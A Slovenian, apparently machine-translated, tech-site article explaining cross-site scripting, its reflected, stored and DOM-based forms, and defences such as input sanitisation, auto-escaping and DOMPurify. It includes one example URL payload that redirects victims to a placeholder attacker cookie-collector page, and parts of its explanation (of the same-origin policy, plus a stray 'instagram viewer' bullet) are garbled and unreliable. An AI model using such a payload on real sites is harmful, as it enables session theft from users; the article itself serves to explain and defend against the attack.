Medsebojno skriptiranje ali XSS sta lahko močan in hiter napad. Kot razvijalec ga lahko celo vzamete za napako v kodi in na koncu iščete napake, ki jih ni.

Kot odjemalec, ki uporablja ranljivo spletno mesto, lahko tudi nedolžno razkrijete ključne informacije o svojem dostopu do preverjanja pristnosti napadalcu.

Kaj je torej skriptiranje med spletnimi mesti? Kako lahko hekerji z njim vdrejo na spletno mesto in ukradejo vaše podatke? In kako lahko tako tveganje ublažite?

Kaj je skriptiranje med spletnimi mesti?

Medsebojno skriptiranje ali XSS se zgodi, če skript z zlonamernega spletnega mesta sodeluje s kodo na ranljivem.

Toda strežniki so ožičeni na način, ki ljudem brez preverjanja pristnosti preprečuje dostop in urejanje izvorne kode vašega spletnega mesta.

Internet uporablja enak izvorni pravilnik (SOP) za blokiranje medsebojnih interakcij. Vendar SOP preveri tri glavne varnostne vrzeli in jih poskuša ublažiti. To so:

  • Pravilnik o internetnem protokolu, ki preverja, ali obe spletni strani objavljata vsebino v varnem SSL (HTTPS) ali na nezaščitenem URL-ju (HTTP).
  • instagram viewer
  • Isti pravilnik o spletnem gostovanju, ki zagotavlja, da gostujete na obeh spletnih mestih v isti domeni.
  • Politika vrat, ki preverja, ali obe spletni strani uporabljata podobne komunikacijske končne točke.

SOP meni, da če se kateri koli od teh pravilnikov razlikuje za kateri koli dve spletni strani, ne more brati ali izmenjevati podatkov prek spleta.

Toda JavaScript je manipulativni jezik, ki določa odzivnost spletnega mesta. Čeprav je JavaScript vašega spletnega mesta najverjetneje v ločeni datoteki, lahko ustvarite tudi skriptno oznako in jo zapišete v svoj objektni model dokumenta (DOM).

Torej bi napadalec XSS morda pomislil: "če lahko v DOM napišete JavaScript, ga lahko na koncu izvedete v kateri koli urejevalnik kode ali vnosno polje, ki sprejema oznake HTML. "

Takšna ranljivost in naključnost je tisto, na kar pazi napadalec, ki uporablja XSS, na ciljnem spletnem mestu. Ko najdejo takšno vrzel, lahko obidejo SOP.

Sorodno: Ultimate JavaScript Cheat Sheet

XSS je torej napad, ki ga ugrabitelji uporabljajo za vstavljanje skripta, ki izvaja zlonamerno dejanje, na ranljivo spletno mesto. Skript lahko cilja na nezaščitene obrazce ali vnosna polja, ki sprejemajo podatke.

Kako medsebojno skriptiranje deluje in vrste, z primeri

XSS je lahko hitro izvajanje odsevnega ali začasnega skripta, ki ga napadalec postavi v obrazce, kot so iskalna polja. Lahko je tudi moteč ali obstojen, vbrizgan v bazo podatkov. Lahko pa pride pasivno po nalaganju strani.

V nekaterih primerih lahko ta skript spremeni tudi žrtvin prvotni vnos, da preusmeri njegov namen. Takšna trajna sprememba uporabnikovih vnosov je mutirajoči XSS.

Cilj napada XSS je v kakršni koli obliki ukrasti podatke žrtve prek izpostavljenih piškotkov in dnevnikov.

Oglejmo si kratko razlago vsake od teh vrst napadov XSS in njihove primere, da bomo razumeli, kaj so.

Kaj je odsevni XSS?

Odsevni ali začasni XSS je neposredno vbrizgavanje JavaScript-a v uporabnikovo vnosno polje. Cilja na zahteve, ki pridobivajo podatke iz baze podatkov, na primer na rezultate iskanja. Ampak gre za napad z enim odjemalcem.

Med odsevnim XSS napadalec v iskalni izraz ciljne žrtve vstavi skript. Tak JavaScript je lahko odmev, preusmeritev ali zbiralec piškotkov.

Skript, vstavljen v polje za vnos iskanja, se nato izvrši takoj, ko ciljni odjemalec odda svojo poizvedbo.

Na primer, med uporabniškim iskanjem lahko napadalec vstavi JavaScript, ki odmeva obrazec, in zahteva, da žrtev vnese svoje geslo ali uporabniško ime. Ko uporabnik to stori, lahko na koncu nevero preda svoje poverilnice napadalcu, saj misli, da gre za zahtevo izvirnega spletnega mesta.

Včasih lahko napadalec s skriptom preusmeri uporabnika z ranljive strani na njegovo stran. Tam na strani napadalca lahko nič hudega slutečega uporabnika zavede, da odda nekaj obrazcev, kar vodi do uhajanja poverilnic.

Če je namen ukrasti uporabnikovo sejo, napadalec v uporabnikov iskalni izraz vbrizga skript za zbiranje piškotkov. Nato ugrabijo trenutno sejo uporabnika, ukradejo ustrezne informacije in prevzamejo žrtvine dejavnosti.

Spodnji primer napada XSS ukrade uporabnikov piškotek prek zahteve GET:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

V zgornjem primeru XSS napadalec najde vrzel na ranljivem spletnem mestu. Ko uporabnik na ranljivem mestu išče nedosegljiv vir, ga preusmeri na stran napadalca. Nato napadalec tapne piškotek trenutnega uporabnika in zagrabi njihovo sejo.

Vendar je ta ranljivost pogosta, kadar dejanje poizvedbe spletnega mesta ni filtrirano za preverjanje vbrizgavanja skriptov prek HTML-ja.

Toda tudi če obstaja filtrirana poizvedba, jo lahko napadalec obide, tako da se zateče k obupnim ukrepom, kot je pošiljanje povezav do morebitnih uporabnikov spletnega mesta v realnem času. To lahko storijo s katerim koli oblika socialnega inženiringa jim na voljo.

Sorodno: Kaj storiti po padcu zaradi napada phishinga

Ko žrtve kliknejo takšno povezavo, lahko ugrabitelj zdaj uspešno izvede napad XSS in žrtvi ukrade ustrezne podatke.

Vztrajno ali shranjeno skriptiranje med spletnimi mesti

Shranjeni XSS predstavlja več groženj. V tem primeru napadalec skript shrani v bazo podatkov spletnega mesta in sproži trajno izvajanje shranjenega skripta. Shranjena koda se lahko izvaja pri nalaganju strani ali po nalaganju strani.

Za razliko od začasne oblike XSS shranjeni XSS cilja na celotno bazo uporabnikov ranljivega spletnega mesta. Poleg tega cilja tudi na integriteto prizadetega spletnega mesta.

Med trajnim XSS-jem napadalec uporablja vnosna polja, kot so obrazci za komentarje, da objavi skript v zbirki podatkov spletnega mesta.

Kaj pa, če polja POST zaščitite z žetoni CSRF? Na žalost shranjeni skripti na več mestih zaobidejo preverjanja CSRF.

To je zato, ker napadalec odda obrazec kot vsak drugi uporabnik spletnega mesta. Torej, tak obrazec za komentar pošlje skript v bazo podatkov kot vsi ostali komentarji.

Tak napad se lahko zgodi, ko vnosna polja na spletnem mestu ne uporabljajo ustreznih razkužil za ubežavanje skript in oznak HTML.

Predstavljajte si, da uporabnik objavi spodnji skript z uporabo spletnega obrazca za komentar:




Ko napadalec vstavi takšno kodo v bazo podatkov spletnega mesta, ob nalaganju strani nenehno preusmerja žrtev na spletno mesto napadalca. Skript je lahko tudi opozorilo, interaktivni modalni okvir ali vdelani zlonamerni oglas.

Ker skript preusmeri pri nalaganju strani, žrtev, ki ne pozna ranljivega spletnega mesta, preusmeritve morda ne bo opazila.

Nato nadaljujejo z interakcijo s spletnim mestom napadalca. Ugrabitelj lahko nato na več načinov pridobi informacije od žrtev, ko so na njihovi spletni strani.

Kaj je DOM ali pasivni XSS?

XSS, ki temelji na DOM-u, izvede zlonamerno kodo, vdelano v spletno mesto, zaradi česar se celotni DOM na strani odjemalca obnaša nenavadno.

Medtem ko XSS shranjuje in odraža cilje na strani strežnika na spletnem mestu, DOM XSS cilja na izvajalne dejavnosti. Deluje tako, da v komponento spletnega mesta vstavi skript, ki izvaja določeno nalogo. Ta komponenta ne izvede dejanja na strani strežnika.

Vendar skript, vstavljen v takšno komponento, popolnoma spremeni svoj namen. Če ta komponenta izvede nalogo, povezano z DOM, na primer tiste, ki spreminjajo elemente spletnega mesta, lahko skript prisili v spremembo celotno spletno stran.

V hujših primerih lahko XSS, ki temelji na DOM, posnema napako. To je zato, ker spletna stran postane nenavadno reaktivna.

Kako preprečiti napad na skripte na več mestih

Ranljivost XSS izhaja iz nepravilne uporabe najboljših zalednih praks. Za preprečevanje napada skriptnih skript na več mestih je običajno odgovoren razvijalec. Uporabniki pa imajo tudi svojo vlogo.

Uporaba žetona CSFR za vnosna polja se ne zdi rešitev za napade XSS. In ker ta napad tudi zaobide isto politiko izvora, morajo razvijalci paziti, da ne izpustijo varnostnih praks, ki preprečujejo XSS.

Naslednji preventivni ukrepi so v pomoč razvijalcem.

Razkužite polja za vnos

Za preprečitev shranjenega in začasnega XSS uporabite vnosna sredstva za razkuževanje vnosnih polj. Sanitizacija iskalnih poizvedb na primer preprečuje vstavljanje oznak v uporabniške iskalne izraze.

Uporabite Unicode in HTML Auto Escape

Koristno je, da uporabite samodejno ubežnico HTML in Unicode, da vnosnim poljem, kot so obrazci za komentarje in pretvorbo, preprečite sprejemanje skript in oznak HTML. Samodejno pobeg je močan preventivni ukrep proti shranjenemu ali obstojnemu XSS.

Dovoliti uporabnikom, da v obrazce za komentarje vstavijo oznake, je slaba ideja za katero koli spletno mesto. To je kršitev varnosti. Če pa morate to dovoliti, sprejemajte samo oznake, ki ne predstavljajo groženj XSS.

Uporabite ustrezno vhodno preverjanje

Tudi če oznake popolnoma blokirate, lahko napadalec še vedno izvede napad XSS s pomočjo družbenih sredstev. Lahko pošljejo e-pošto, namesto da bi kar koli postavili neposredno na ranljivo spletno mesto.

Druga metoda preprečevanja je torej učinkovito preverjanje vložkov. Takšni ukrepi vključujejo preverjanje veljavnosti protokolov in zagotavljanje, da vaše spletno mesto sprejema samo vnose varnega HTTPS in ne HTTP.

Uporaba namenskih knjižnic JavaScript, kot je dompurify, lahko pomaga tudi pri blokiranju varnostnih kršitev, povezanih z XSS.

Uporabite lahko orodja, kot so XSS skener ali GEEKFLARE za preverjanje ranljivosti XSS na vašem spletnem mestu.

Kako lahko uporabniki preprečijo XSS

Danes je na internetu na milijone spletnih strani. Torej težko ugotovite, kateri ima varnostne težave XSS.

Kot uporabnik pa morate pred uporabo zagotoviti, da ste seznanjeni s katero koli spletno storitvijo. Če spletna stran nenadoma postane grozljiva ali se začne obnašati nenavadno, je to lahko rdeča zastavica.

Ne glede na primer pazite, da osebnih podatkov ne razkrijete nezaupani tretji osebi. Nato bodite pozorni na nezaželena e-poštna sporočila ali sumljive objave v družabnih omrežjih, ki lahko povzročijo katero koli oblika phishing napadov.

Nobena ena preventivna metoda ne ustreza vsem

Videli smo, kako izgleda napad XSS in kako ga preprečiti. Med razvojem je enostavno pozabiti varnostne preglede XSS. Zato bi morali razvijalci sprejeti ukrepe za zagotovitev, da zaščita ni izpuščena. Vendar kombinacija preventivnih ukrepov, ki smo jih navedli prej, deluje bolje.

E-naslov
Kaj so napadi CSRF in kako jih lahko preprečite?

Da bi preprečili izgubo gotovine in poverilnic v napadih na CSRF, morajo tako razvijalci kot uporabniki.

Sorodne teme
  • Varnost
  • JavaScript
  • Varnost brskalnika
O avtorju
Idowu Omisola (53 objavljenih člankov)

Idowu je navdušen nad vsemi pametnimi tehnologijami in produktivnostjo. V prostem času se poigrava s kodiranjem in preklopi na šahovnico, ko mu je dolgčas, a se občasno rad tudi odmakne od rutine. Njegova strast do tega, da ljudem kaže pot okoli sodobne tehnologije, ga motivira, da piše več.

Več od Idowu Omisola

Naročite se na naše novice

Pridružite se našemu glasilu za tehnične nasvete, preglede, brezplačne e-knjige in ekskluzivne ponudbe!

Še en korak…!

Potrdite svoj e-poštni naslov v e-poštnem sporočilu, ki smo vam ga pravkar poslali.

.